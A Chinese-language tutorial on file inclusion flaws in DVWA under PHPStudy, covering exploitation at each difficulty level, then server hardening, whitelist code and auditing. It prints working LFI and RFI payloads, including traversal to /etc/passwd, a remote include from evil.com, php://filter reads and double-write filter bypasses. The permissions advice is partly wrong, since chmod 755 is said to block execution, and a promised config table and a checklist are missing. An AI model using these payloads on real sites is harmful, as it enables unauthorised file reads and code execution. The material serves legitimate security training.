1. 项目概述：为什么DVWA与PHPStudy的组合是安全学习的黄金搭档？

如果你正在学习网络安全，尤其是Web应用安全，那么“DVWA”和“PHPStudy”这两个名字对你来说一定不陌生。DVWA（Damn Vulnerable Web Application）是一个故意设计得漏洞百出的Web应用，是安全人员和新手练习渗透测试技术的绝佳靶场。而PHPStudy，则是国内开发者圈子里非常流行的一款PHP集成环境软件，它把Apache/Nginx、PHP、MySQL等环境一键打包，让搭建本地测试环境变得像安装一个普通软件一样简单。把DVWA部署在PHPStudy上，你就能在自己的电脑上快速构建一个包含SQL注入、文件上传、文件包含等经典漏洞的“攻防实验室”。

今天，我们聚焦于其中一种极具代表性的漏洞——文件包含漏洞。这个漏洞的威力在于，攻击者可能通过操纵应用包含文件的参数，读取服务器上的敏感文件（如配置文件、日志），甚至执行任意代码，从而完全控制服务器。在PHPStudy环境下，一个关键的配置项allow_url_include常常是漏洞能否被成功利用的“开关”。很多新手在搭建环境时，为了方便，会不假思索地开启它，这无异于在自家后院给攻击者留了一扇敞开的门。

这篇文章，我将以一个在安全领域摸爬滚打多年的从业者视角，带你从最基础的PHPStudy环境配置讲起，深入剖析DVWA中文件包含漏洞的成因、利用方式，并最终落脚到如何从服务器配置和应用代码两个层面进行有效防御。这不仅仅是一篇“通关教程”，更是一份让你理解漏洞本质、掌握防御思路的实战指南。无论你是刚入门的安全爱好者，还是希望提升代码安全性的开发者，都能从中获得实实在在的干货。

2. 核心漏洞原理与PHPStudy环境解析

2.1 文件包含漏洞的本质：当“包含”变得危险

要防御，必须先理解攻击是如何发生的。PHP中的文件包含函数（如include,require,include_once,require_once）本意是为了提高代码复用性，比如把数据库连接配置、页头页尾等公共部分写成单独文件，然后在需要的地方包含进来。问题出在，当这些函数包含的文件路径，完全或部分由用户输入控制时，漏洞就产生了。

假设一段漏洞代码如下：

<?php $page = $_GET['page']; // 用户可控的输入 include($page . '.php'); ?>

开发者可能期望用户传入home或about，从而包含home.php或about.php。但攻击者可以传入../../../../etc/passwd（Linux）或C:\Windows\win.ini（Windows），尝试读取系统敏感文件。更危险的是，如果allow_url_include配置为开启（On），攻击者甚至可以传入一个远程URL，如http://evil.com/shell.txt，让服务器直接包含并执行远程服务器上的恶意代码，这通常被称为“远程文件包含（RFI）”，危害性极大。

在DVWA的“File Inclusion”模块中，就精心设计了这种场景，通过难度分级（Low, Medium, High, Impossible）来展示不同级别的防御（或缺乏防御）效果。

2.2 PHPStudy环境的关键配置：allow_url_include与allow_url_fopen

PHPStudy作为集成环境，其核心是管理PHP的配置文件（php.ini）。与文件包含漏洞密切相关的两个指令是：

1. allow_url_fopen：默认情况下，在PHPStudy的许多版本中，这个选项可能是**开启（On）**的。它允许PHP的文件系统函数（如fopen,file_get_contents）打开远程文件（HTTP/HTTPS, FTP等）。这是远程文件包含（RFI）的先决条件之一。
2. allow_url_include：这个才是远程文件包含（RFI）的“总开关”。它控制include,require等函数是否能包含远程文件。在安全的配置下，这个选项必须被关闭（Off）。

很多开发者，甚至一些教程，为了“省事”或让某些功能（比如从远程获取数据）能跑起来，会直接在php.ini里把allow_url_include设为 On。这在生产环境是极其危险的行为。在PHPStudy中，你可以通过其图形化界面的“其他选项菜单”->“PHP扩展及设置”->“参数开关设置”快速找到并修改这两个选项，也可以直接编辑对应PHP版本的php.ini文件。

注意：仅仅关闭allow_url_include只能防御RFI。对于本地文件包含（LFI），即包含服务器本地文件的攻击，依然可能成功。因此，代码层面的防御是必不可少的。

2.3 DVWA靶场搭建与常见“坑点”

在PHPStudy中搭建DVWA通常很顺畅，但新手常会遇到几个问题：

• 数据库连接失败：DVWA的配置文件config/config.inc.php中，需要正确设置数据库密码。PHPStudy的MySQL默认密码可能是root，但也可能是空密码。如果连接不上，首先检查配置文件中的$_DVWA[ 'db_password' ]是否与PHPStudy中MySQL的实际密码一致。
• PHP版本兼容性与“创建数据库”按钮灰色：DVWA对PHP版本有一定要求。如果遇到页面错误或“创建数据库”按钮不可用，可以尝试在PHPStudy中切换一个稍旧但稳定的PHP版本（如PHP 5.4 - 7.4之间的版本）。同时，确保PHP的mysql或mysqli扩展已启用。
• “502 Bad Gateway”错误：这通常与PHPStudy集成的Nginx/Apache和PHP-FPM之间的通信有关。可以尝试重启所有服务，或检查PHPStudy端口管理，确保80、3306等端口没有被其他程序占用。

解决这些环境问题，是进行后续安全实践的第一步。一个稳定的靶场环境，能让你更专注于漏洞原理本身。

3. 从攻击视角看DVWA文件包含漏洞利用

知己知彼，百战不殆。要防御，就得知道攻击者会怎么玩。我们以DVWA的四个安全等级为例，拆解攻击手法。

3.1 Low级别：毫无防护的“裸奔”

Low级别的代码几乎没有任何过滤：

<?php $file = $_GET['page']; // 直接使用用户输入 ?>

攻击利用：

1. 本地文件包含（LFI）：直接传入../../../../etc/passwd尝试遍历目录，读取系统文件。在Windows下，可以尝试..\..\..\windows\win.ini。
2. 远程文件包含（RFI）：如果allow_url_include=On，可以直接传入http://evil.com/shell.txt，其中shell.txt内容为<?php phpinfo(); ?>，服务器会执行phpinfo()。
3. 利用PHP封装协议：即使allow_url_include=Off，PHP内置的某些封装协议依然可用，这是LFI利用的一大进阶。例如：
   • php://filter/read=convert.base64-encode/resource=index.php：以Base64编码形式读取index.php源码，绕过一些显示限制。
   • php://input：配合POST请求体，直接执行POST过去的PHP代码（需要allow_url_include=On吗？不一定，php://input是本地协议，但其利用通常需要allow_url_include开启，且enable_post_data_reading=On，情况较复杂，但它是重要的攻击向量）。

3.2 Medium级别：蹩脚的字符串替换

Medium级别尝试进行过滤：

<?php $file = $_GET['page']; $file = str_replace( array( "http://", "https://" ), "", $file ); // 移除http/https $file = str_replace( array( "../", "..\\" ), "", $file ); // 移除目录遍历符 ?>

攻击利用： 这种过滤非常脆弱，可以通过双写绕过。

• 对于http://：传入hthttp://tp://evil.com/shell.txt，中间的http://被移除后，剩下的字符正好拼接成http://evil.com/shell.txt。
• 对于../：传入....//或..\../，过滤一次后变成../。
• 或者，直接使用file协议或php过滤器协议，这些协议不在过滤名单内。

3.3 High级别：白名单机制的雏形

High级别采用了白名单机制：

<?php $file = $_GET['page']; if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { echo "ERROR: File not found!"; exit; } ?>

攻击利用： 这个白名单检查看起来严格，但它检查的是完整的$file变量。如果代码仍然是include($file);，那么攻击似乎被阻断了。但DVWA High级别的真实代码通常设计为include($file . '.php');，这就限定了后缀。此时，直接包含任意文件变得困难，但攻击并未完全杜绝。攻击者可能会结合服务器其他漏洞（如文件上传），先上传一个图片马（将PHP代码嵌入图片），然后通过文件包含漏洞来执行这个图片文件中的代码。这就需要include函数能包含非.php后缀的文件，且该文件内容能被PHP解析（通常需要服务器错误配置，如将.jpg后缀解析为PHP）。

3.4 Impossible级别：真正的安全实践

Impossible级别展示了最佳实践：

<?php $file = $_GET['page']; switch ($file) { case 'file1': case 'file2': case 'file3': include ($file . '.php'); break; default: echo 'ERROR: File not found.'; break; } ?>

防御分析：

1. 严格的白名单：使用switch语句，只允许file1,file2,file3这几个明确的值。
2. 硬编码后缀：在包含时，固定添加.php后缀 ($file . '.php')，完全控制了最终被包含的文件名。
3. 用户输入与文件路径解耦：用户输入的$file只是一个标识符，真正的文件路径由程序逻辑决定。这是最根本的解决方案。

从攻击链条可以看出，allow_url_include的开启为RFI打开了大门，而脆弱的输入过滤则让LFI有机可乘。下面，我们就从配置和代码两个层面，构建防御体系。

4. 服务器层面防御：加固你的PHPStudy环境

服务器配置是第一道防线，目标是尽可能缩小攻击面。

4.1 关键PHP.ini配置加固

打开PHPStudy，找到当前所用PHP版本的php.ini文件（可通过软件界面“其他选项菜单”->“打开配置文件”快速定位）。

实操心得：修改php.ini后，务必重启Apache/Nginx服务才能生效。在PHPStudy中，直接点击“重启”按钮即可。可以通过创建一个包含<?php phpinfo(); ?>的PHP文件，在浏览器中访问，来验证allow_url_include等配置是否已生效。

4.2 Web服务器（Apache/Nginx）额外配置

除了PHP本身，Web服务器也能提供一层防护。

• 在Apache的.htaccess或虚拟主机配置中，可以禁止访问某些敏感目录或文件：

  # 禁止访问 .git、.svn 等版本控制目录 RedirectMatch 404 /\.git RedirectMatch 404 /\.svn # 限制访问某些文件类型（如果它们不应被直接访问） <FilesMatch "\.(inc|bak|config|sql|log|txt)$"> Order allow,deny Deny from all </FilesMatch>

• 在Nginx的站点配置中，也有类似设置：

  location ~ /\.(git|svn) { deny all; return 404; } location ~* \.(inc|bak|config|sql|log|txt)$ { deny all; }

4.3 系统与目录权限最小化原则

这是经常被忽略但极其重要的一点。运行PHP和Web服务的系统用户（在Windows上可能是SYSTEM或Administrator，在Linux上通常是www-data或nobody）不应该拥有过高的权限。

• 网站根目录权限：只赋予Web服务用户读取和执行的权限，对于需要上传文件的目录（如/uploads），赋予读写权限，但绝不可赋予执行权限。在Linux下，可以设置为chown -R www-data:www-data /var/www/html和chmod -R 755 /var/www/html，上传目录单独设置chmod -R 755（禁止执行）或chmod -R 644。
• 关键系统文件：确保/etc/passwd,/etc/shadow,php.ini, 网站配置文件等关键文件，Web服务用户无权读取。

在PHPStudy的Windows环境下，虽然权限管理不如Linux严格，但也应遵循类似理念，避免将网站放在权限过于宽松的目录下。

5. 代码层面防御：编写无懈可击的包含逻辑

服务器配置是基础，但最根本的防御还是在代码里。我们要确保，即使用户输入再诡异，也无法操纵文件包含的最终路径。

5.1 最佳实践：白名单机制

这是最推荐、最有效的方法。像DVWA的Impossible级别所示，预先定义好允许包含的文件列表。

<?php // 定义允许的文件白名单 $allowed_pages = [ 'home' => './pages/home.php', 'about' => './pages/about.php', 'contact' => './pages/contact.php', ]; // 获取用户输入 $page_key = $_GET['page'] ?? 'home'; // 默认首页 // 检查输入是否在白名单中 if (array_key_exists($page_key, $allowed_pages)) { $file_to_include = $allowed_pages[$page_key]; // 可以额外检查文件是否存在且可读 if (is_file($file_to_include) && is_readable($file_to_include)) { include($file_to_include); } else { die('请求的文件不存在或不可访问。'); } } else { // 记录非法访问日志，并返回统一错误页面 error_log("非法文件包含尝试: " . $_SERVER['REMOTE_ADDR'] . " - " . $page_key); include('./pages/error-404.php'); } ?>

为什么这样安全？因为最终被包含的文件路径$file_to_include完全由程序内部的映射数组$allowed_pages决定，用户输入的$page_key只是一个用于查找的“键”，无法直接影响路径字符串。

5.2 输入验证与净化

如果业务逻辑复杂，无法使用严格的白名单，那么必须对输入进行严格的过滤。

1. 剥离目录遍历符：使用str_replace递归删除或preg_replace正则匹配删除所有../,..\,./等字符。

   $file = $_GET['page']; // 递归删除，防止双写绕过 while (strpos($file, '../') !== false || strpos($file, '..\\') !== false) { $file = str_replace(['../', '..\\'], '', $file); } // 或者使用更彻底的正则 $file = preg_replace('#\.\.[\\\/]#', '', $file);

   注意：这种方法并不绝对安全，历史上存在多种编码、截断等绕过方式，应作为辅助手段，而非主要防御。

2. 限制文件后缀：如果包含的文件类型固定（如都是.php或.html），可以强制添加后缀。

   $file = basename($_GET['page']); // basename() 去掉路径部分，只取文件名 $file_to_include = './pages/' . $file . '.php'; // 强制添加.php后缀和固定路径 // 再次检查文件是否存在 if (file_exists($file_to_include)) { include($file_to_include); }

   basename()函数在这里很有用，它能去除路径部分，只返回文件名，可以有效防御../../etc/passwd这类攻击。

5.3 避免动态包含：使用路由或前端控制

在现代MVC（模型-视图-控制器）框架或应用架构中，文件包含通常是框架自动完成的，开发者几乎不会直接写include($_GET[‘page’])这样的代码。

• 使用前端控制器（Front Controller）模式：所有请求都指向index.php，然后由路由器（Router）根据URL解析出控制器和动作，再动态加载对应的类和方法。用户输入（URL路径）被映射到程序内部的类和方法名，而不是直接的文件路径。
• 使用框架：像Laravel, ThinkPHP, Yii等主流PHP框架，其路由机制天然避免了直接的文件包含漏洞。它们将用户输入转化为对控制器和方法的调用，文件加载由框架的自动加载器安全地处理。

实操心得：对于遗留项目或必须使用动态包含的场景，将包含操作封装到一个安全的函数或类方法中，所有需要包含文件的地方都调用这个安全方法，并在其中集中实现白名单或强过滤逻辑，这样可以避免在代码中散落着危险的include语句。

6. 代码审计实战：如何发现并修复文件包含漏洞

了解了防御方法，我们还需要一双能发现漏洞的眼睛。代码审计（Code Audit）就是系统性地检查源代码，寻找安全缺陷的过程。

6.1 审计切入点与危险函数

审计时，我们首先全局搜索那些危险函数：

• include,include_once
• require,require_once
• fopen,file_get_contents,readfile（当文件名参数用户可控时，也可能导致文件读取，虽然不执行PHP代码）

找到这些函数后，向前追溯其参数来源。如果参数来自$_GET,$_POST,$_COOKIE,$_REQUEST或$_SERVER中的某些用户可控字段（如$_SERVER[‘PATH_INFO’]），就需要高度警惕。

6.2 跟踪数据流与过滤逻辑

确定了用户输入点，就要像数据一样在代码中“流动”，看它经过了哪些处理。

1. 是否经过过滤函数？如str_replace,preg_replace,htmlspecialchars,addslashes等。分析过滤规则是否可以被绕过（如双写、编码、截断）。
2. 是否拼接了固定字符串？比如include(‘./templates/’ . $user_page . ‘.php’)。这限制了文件位置和后缀，但若$user_page仍可控，且过滤不严，仍可能造成危害（如../../../config拼接后变成./templates/../../../config.php）。
3. 最终是否落入白名单检查？检查是否有switch-case或in_array等白名单机制。

6.3 使用工具辅助审计

手动审计效率较低，可以借助工具：

• 静态代码分析工具（SAST）：如RIPS（经典PHP审计工具，已开源）、Fortify SCA、SonarQube（配合PHP插件）。这些工具能自动扫描代码，标记出潜在的安全漏洞点，包括文件包含。但它们会产生误报，需要人工复核。
• IDE插件：一些现代IDE的代码安全插件也能提供实时提示。
• 自写脚本：对于大型项目，可以写简单的脚本，用正则表达式批量搜索危险函数调用模式。

审计实战示例：假设审计一段代码：

// index.php $module = isset($_GET['m']) ? $_GET['m'] : 'default'; $action = isset($_GET['a']) ? $_GET['a'] : 'index'; // 过滤 $module = str_replace(‘..’, ‘’, $module); $action = str_replace(‘..’, ‘’, $action); include(‘modules/’ . $module . ‘/’ . $action . ‘.php’);

分析：

1. 找到了include，参数由$module和$action拼接而成。
2. 这两个变量来自$_GET，用户可控。
3. 过滤仅使用str_replace删除了..，存在双写绕过风险（如m=....//evil，过滤后变成../evil）。
4. 修复建议：使用白名单验证$module和$action是否为已知、合法的模块和动作名；或者至少使用basename()函数，并强制检查最终路径是否在预期的modules/目录下。

7. 常见问题排查与防御加固检查清单

在实际操作和防御加固过程中，你可能会遇到以下问题。这里提供一个速查表：

最后的个人建议：安全是一个持续的过程，而不是一次性的配置。对于文件包含漏洞，记住一个核心原则：永远不要让用户输入直接、或经过简单过滤后，成为文件系统操作（包含、打开、读取）路径的一部分。无论是通过严格的白名单，还是将用户输入转换为不可伪造的标识符（如ID、哈希值），核心都是让程序逻辑，而非用户输入，来决定最终访问的资源。在PHPStudy这样的便捷环境中做安全练习，正是为了将这种安全意识，深深地刻入你未来每一个项目的开发习惯里。